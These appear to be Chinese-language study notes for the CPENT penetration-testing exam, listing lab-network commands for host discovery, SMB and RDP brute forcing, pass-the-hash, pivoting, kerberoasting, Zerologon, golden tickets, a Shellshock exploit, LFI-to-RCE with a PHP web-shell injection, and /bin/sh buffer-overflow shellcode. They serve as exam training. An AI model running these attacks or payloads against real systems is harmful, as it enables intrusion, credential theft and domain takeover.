CPENT-考前準備
CPENT 考前準備
ilabs
Windows server 2019
- 192.168.0.20
- 172.19.19.20
Parrot
- 192.168.0.18
- 172.19.19.18
密碼噴灑
kevin (username)
1
2Pa$$w0rd123
owaspbwa
Nmap
ICMP 封包 基礎知識
- 訊息型態(message type)
- Type:8 Echo Request(回應要求) #要求對方主機回聲
- Type:0 Echo Reply(回應答覆) #主機回聲答覆
- Wireshark接收ICMP封包
- 訊息型態(message type)
NMAP 檢測存活主機(KEEP-ALIVE)
- ICMP掃描
- nmap -sn 特權模式掃描
- LAN -> 發送ARP封包
- WAN -> 發送TCP SYN->443port,ACK->80port 封包 以及icmp requests type8/13,若都無reply即判定close
1
nmap -sn -n <ip>
- 若還是無法找到存活主機,bypass keepalive階段直接進行port掃描
1
nmap -Pn -n -p21-25,80,3389 <ip>
列舉系統版本
利用smb-os-discovery枚舉系統版本
1
nmap -Pn -n -p139,445 --script=smb-os-discovery <ip>
利用smb-protocols查詢對方smb可支援協議版本
1
nmap -Pn -n -p139,445 --script=smb-protocols <ip>
內網腳本掃描
- ping.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14#/bin/bash
network="192.168.50"
is_ping(){
ping -c 1 -w 1 $network.$i > /dev/null
[ $? -eq 0 ] && echo $i is up.
}
for i in $(seq 1 255)
do
is_ping $i
done
- ping.sh
內網測試
Windows網路芳鄰
- UDP 137 -> NETBIOS 名稱解析
- UDP 138 -> NETBIOS 服務宣告
- TCP 139 -> SMB/CIFS (smb為協定,cifs為服務)
SMB/CIFS (TCP 139,445)
- AUTHENTICATION (NTLM V1,V2) (主要作為驗證手段)
- File & Print sharing (檔案分享)
- IPC (inter-process communication)(remote cmd)
分散式運算控制Windows
- IPC (SMB)
- RPC
- WinRM /WMI
SMB VERSION
- v1
- v2:support digital signature
- v3:support encrypt
NetBIOS基礎知識
- NetBIOS 名稱
- Total 16 字元
- 1-15:電腦名稱
- 16th:服務代號
- nbtstat -n 查看本機netbios註冊資訊
- NetBIOS 名稱
nbtstat 查詢別台主機netbios資訊
利用IP查詢 (如無法查詢可能為FW阻擋)
1
nbtstat -A <ip>
利用computerName解析IP查詢
1
nbtstat -a <computername>
關閉防火牆
1
2
3
4#舊版
netsh firewall set opmode disable
#新版(win2012/2019)
netsh advfirewall set allprofiles state offIPtables 設為允許
1
2
3sudo iptables -S
sudo iptables -P INPUT ACCEPT
sudo iptables -P OUTPUT ACCEPT
egress busting (Reverse 對外爆破)
- 目標NC
1
nc -nvz <ip> 1-1024
- 本地監聽
1
wireshark OR tcpdump -i eth0 tcp[13]==2 # SYN
- 目標NC
暴力破解
windows smb auth (smb認證爆破)
1
crackmapexec smb ip -u <username or file> -p <password or file>
rdp brute (rdp認證爆破)
1
crowbar -b rdp -v -U <userfile> -C <passfile> -s <ip/CIDR>
hydra ssh (ssh爆破)
1
hydra -l user -P passfile ssh ip -F -V
linux 執行windows cmd
1
2winexe -U 'administrator%Pa$$w0rd' //<ip> cmd.exe
pth-winexe -U 'administrator%92937945B518814341DE3F726500D4FF:92937945B518814341DE3F726500D4FF' //<ip> cmd.exe
RDP連線相關
rdesktop(停更)
xfreerdp (版本須為2.3.0)
1
2lib so 檢查
sudo dpkg -l |grep freerdpxfreerdp 連線
1
xfreerdp /v:172.19.19.20 /u:administrator /p:'Pa$$w0rd' /size:90%
開啟rdp
1
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
Pivot 跳板
SSH port forwarding (SSH tunneling)
Local
- ssh server(70) target(24)
1
ssh -nNTL *:80:172.19.19.24:80 administrator@172.19.19.70
- ssh server(70) target(24)
Remote
- nano /etc/ssh/sshd_config
1
ssh -R *:8008:172.19.19.24:80 administrator@172.19.19.70
- nano /etc/ssh/sshd_config
Dynamic (proxychain)
- nano /etc/proxychains.conf
1
ssh -nNTCD 9050 administrator@172.19.19.70
- nano /etc/proxychains.conf
Port forwarding
- socat (full function,fat,support udp)
- socat tcp-listen:80,fork tcp:
:80 - socat udp-recvfrom:161,fork udp-sendto:
:161
- socat tcp-listen:80,fork tcp:
- datapipe
1
2
3https://raw.githubusercontent.com/bovine/datapipe/master/datapipe.c
#程式第80行需修改
#define MAXCLIENTS 20 改為 999- datapipe 0.0.0.0 135
135 - datapipe 0.0.0.0 445
445 - datapipe 0.0.0.0 4444
4444 - gcc datapipe.c -o datapipe
- datapipe 0.0.0.0 135
- portproxy (windows netsh built-in)
- netsh interface portproxy add v4tov4 80
80 - netsh interface portproxy show v4tov4
- netsh interface portproxy add v4tov4 80
- socat (full function,fat,support udp)
meterpreter
- msf only
- session routing
- also support port forwarding
IOT分析
練習用
1
2https://github.com/Apress/iot-hack-hdbk-practical-guide
https://kb.netgear.com/26889/D6000-Firmware-Version-1-0-0-41binwalk no such file sasquatch(error)
1
https://github.com/useidel/sasquatch (gcc10 compile success)
binwalk 韌體分析
1
binwalk firewarm.bin
binwalk 提取檔案系統
1
binwalk -e firewam.bin
find && grep 查找
1
2find / -name *passwd* -print 2>/dev/null
grep -nir passwdsquashFS 介紹
Squashfs(.sfs)是一套供Linux核心使用的GPL開源只讀壓縮檔案系統。Squashfs能夠為檔案系統內的檔案、inode及目錄結構進行壓縮,並支援最大1024千位元組的區段,以提供更大的壓縮比。
Squashfs常被用於各Linux發行版的LiveCD中,也用於OpenWrt 和DD-WRT 的路由器韌體。Chromecast也是該檔案系統的使用者。
- hexdump 取出總數最多(xor)
1
hexdump -v -C encrypted.bin | cut -d " " -f 3-20 |sort |uniq -c
Active Directory
Kerberos是一種由MIT(麻省理工大學)提出的一種網路身份驗證協議。它旨在通過使用金鑰加密技術為客戶端/伺服器應用程式提供強身份驗證。
認證伺服器(Authentication Server,簡稱 AS)
票證授權票證(Ticket Granting Ticket,簡稱 TGT)
金鑰分發中心(Key Distribution Center,簡稱KDC)
TGS(Ticket Granting Server)= 票據授權伺服器
SS(Service Server)= 特定服務提供端
kerberos 概述及通信過程
- ASREQ: Client向KDC發起ASREQ,請求憑據是Client hash加密的時間戳
- ASREP: KDC使用Client hash進行解密,如果結果正確就返回用krbtgt hash加密的TGT票據,TGT裏面包含PAC,PAC包含Client的sid,Client所在的組。
- TGSREQ: Client憑藉TGT票據向KDC發起針對特定服務的TGSREQ請求
- TGS_REP: KDC使用krbtgt hash進行解密,如果結果正確,就返回用服務hash 加密的TGS票據(這一步不管使用者有沒有訪問服務的許可權,只要TGT正確,就返回TGS票據)
- AP_REQ: Client拿著TGS票據去請求服務
- AP_REP: 服務使用自己的hash解密TGS票據。如果解密正確,就拿著PAC去KDC那邊問Client有沒有訪問許可權,域控解密PAC。獲取Client的sid,以及所在的組,再根據該服務的ACL,判斷Client是否有訪問服務的許可權。
kerberoasting
- DC 創建SPN
- setspn -s http/lpt.com user-one (靶機環境)
- Parrot SPN scan brute
- python3 -m pip install impacket –upgrade
- GetUserSPNs.py ‘lpt.com/cpent:Pa$$w0rd’ -dc-ip 192.168.177.19 -request -outputfile kerberos.txt
- john kerberos.txt –show
- DC 創建SPN
Zerologon
mimikatz
- 清空DC認證密碼
1
2lsadump::zerologon /target:域控IP /account:域控主機名$ /exploit
lsadump::zerologon /target:server2019 /account:server2019 /null /ntlm /exploit - dcsync 獲取目標雜湊(krbtgt)
1
lsadump::dcsync /domain:lpt.com /dc:server2019 /authuser:administrator /authdomain:lpt.com /authpassword:Pa$$w0rd /user:krbtgt /authntlm
- Golden Ticket
1
2
3注入內存前必須開啟權限
privilege::debug
kerberos::golden /domain:lpt.com /sid:<sid> /krbtgt:<hash> /user:evil /ticket:evil.tck /ptt - pth
1
sekurlsa::pth /user:administrator /domain:lpt.com /ntlm:<hash>
- 清空DC認證密碼
PowerView.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
powershell -> 物件導向
cmd -> powershell -nop -ep bypass ###Bypass Policy
Import-Module .\powerview.ps1
Get-Forest ### Domain -> Tree -> Forest
Get-DomainComputer |select -Property name,dnshostname
Get-DomainUser | select -Property name,givenname
查看共享資料夾
net share
查看遠端共享資料夾
net view \\server2019\\
dir \\server2019\users參考資料
1
2
3
4
5透過ssh ptT(pass the ticket)
https://zhuanlan.zhihu.com/p/27242393
pass the ticket技巧
https://wooyun.js.org/drops/%E5%9F%9F%E6%B8%97%E9%80%8F%E2%80%94%E2%80%94Pass%20The%20Ticket.html
WEB
- SHELLSHOCK
1
2
3
4
5
6
7
8
9
10
11
12/usr/lib/cgi-bin/
dirb http://172.19.19.24
dirb http://172.19.19.24/cgi-bin
msfconsole
search shellshock
use exploit/multi/http/apache_mod_cgi_bash_env_exec
show options
set RHOSTS 172.19.19.24
set TARGETURI /cgi-bin/keygen
exploit - Wordpress
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34LFI to RCE
on 172.19.19.24:
cd /var/www
gedit include.php
<?php
include($_GET['file']);
?>
chmod 775 -R /var/log/apache2
tail /var/log/apache2/access.log
on Parrot:
browser to http://172.19.19.24/include.php?file=
REF TO:
/var/log/auth.log # inject via SSH login username
/var/log/apache2/access.log # inject via browser User Agent header
/proc/self/environ # inject via browser cookie header
#inject example : <?php system($_GET[1]); ?>
wpscan --url http://172.19.19.24/wordpress -e
# e.g. wordpress site editor 1.1.1
# https://www.exploit-db.com/exploits/44340
wpscan --url http://172.19.19.24/wordpress -U mike -P Wordlists/Passwords.txt
binary
1 |
|
程式編譯流程
- C source code -> compile -> object code -> link -> executable
- C source code -> compile -> object code -> link -> executable
C語言程式記憶體配置
Text 程式碼區段
文字區段(text segment)也稱為程式碼區段(code segment),這裡存放的是可執行的 CPU 指令(instructions)。
這個區段通常位於 heap 或 stack 之後,避免因 heap 或 stack 溢位而覆寫 CPU 指令。
通常文字區段的資料是可以共用的,當多個同樣的程式在執行時,在記憶體中只需要存有一份就夠了,而這個文字區段通常都是唯讀的,避免程式本身誤改了自己的 CPU 指令。Data 初始化靜態變數
初始化資料區段(initialized data segment)儲存的是一些已經初始化的靜態變數,例如有經過初始化的 C 語言的全域變數(global variables)以及靜態變數(static variables)都是儲存於此處。
這個區段的變數又可分為唯讀區域(read-only area)以及可讀寫區域(read-write area),可讀寫區域用於存放一般變數,其資料會隨著程式的執行而改變,而唯讀區域則是存放固定的常數。Bss 未初始化靜態變數
未初始化資料區段(uninitialized data segment)又稱為 bss 區段(這個名稱的起源來自於古老的組譯器,代表 block started by symbol)是儲存尚未被初始化的靜態變數,而這些變數在程式執行之前會被系統初始化為 0 或是 null。
Stack 區域變數
堆疊區段(stack segment)用於儲存函數的區域變數,以及各種函數呼叫時需要儲存的資訊(例如函數返回的記憶體位址還有呼叫者函數的狀態等),每一次的函數呼叫就會在堆疊區段建立一個 stack frame,儲存該次呼叫的所有變數與狀態,這樣一來同一個函數重複被呼叫時就會有不同的 stack frame,不會互相干擾,遞迴函數就是透過這樣的機制來執行的。
Heap 動態配置變數
heap 區段的記憶體空間用於儲存動態配置的變數,例如 C 語言的 malloc 以及 C++ 的 new 所建立的變數都是儲存於此。
堆疊區段一般的狀況會從高記憶體位址往低記憶體位址成長,而 heap 剛好從對面以相反的方向成長。System 命令列參數與環境變數
system 區段用於儲存一些命令列參數與環境變數,這部分會跟系統有關。
組合語言體系
- AT&T
- Intel
函式庫呼叫
- windows visual studio(MSVCRT.dll)
- microsoft visual c runtime (msvcrt)
- 動態連結呼叫需要 如無須裝可轉散發套件
- microsoft visual c runtime (msvcrt)
- linux gdb (gnu c libary) == libc
- 提供標準c函式
- windows visual studio(MSVCRT.dll)
ldd : 列出與檔案有關的分享函式庫
file :分析程式類型
strings : 輸出二進位文件可輸出字串
查看程式調用多少 C API
1
strings crackme0x00a | grep @@
找出main函式
1
readelf -a crackme0x00a |grep main
1 |
|
gdb (disassemble main)
objdump -d crackme0x00a
查看暫存器
- gdb -q /bin/bash
- break main
- run
- info registers
ASLR
1
2
3
4### 2為全開
sysctl -a --parrten randomize
### 關閉ASLR
sudo sysctl -w kernel.randomize_va_space=0
shellcode.c (setuid 0)
1
gcc -o shellcode -z execstack shellcode.c
stack.c
1
2
3gcc -o stack -z execstack -fno-stack-protector stack.c
sudo chown root:root stack
sudo chmod 4755 stack1
2
3
4gdb -q stack
disassemble main
b *main +55
run
1 |
|
1 |
|
1 |
|
shellcode
1
2
3
4
5
6
7
8\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
shellcode.py
print "A*42" + "注入點" +"\x90" *16 + "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
python ./shellcode.py > badfilereturn to libc
1
gcc stack.c -fno-stack-protector -znoexecstack -o retlibc
1 |
|
1 |
|
計算函數偏移值
1
p system-exit
尋找/bin/sh 記憶體位置
1
2
3
4
5### peda
find /bin/sh
vmmap
### gdb
info proc mappingsprint shellcode
1
python -c " 'A'*42 + 'mem system' + 'BBBB or mem exit' + 'mem /bin/sh' "
egg hunter (linux env shellcode)